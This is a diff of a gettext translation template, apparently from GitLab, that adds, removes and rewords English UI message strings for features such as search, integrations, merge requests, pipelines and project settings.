+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
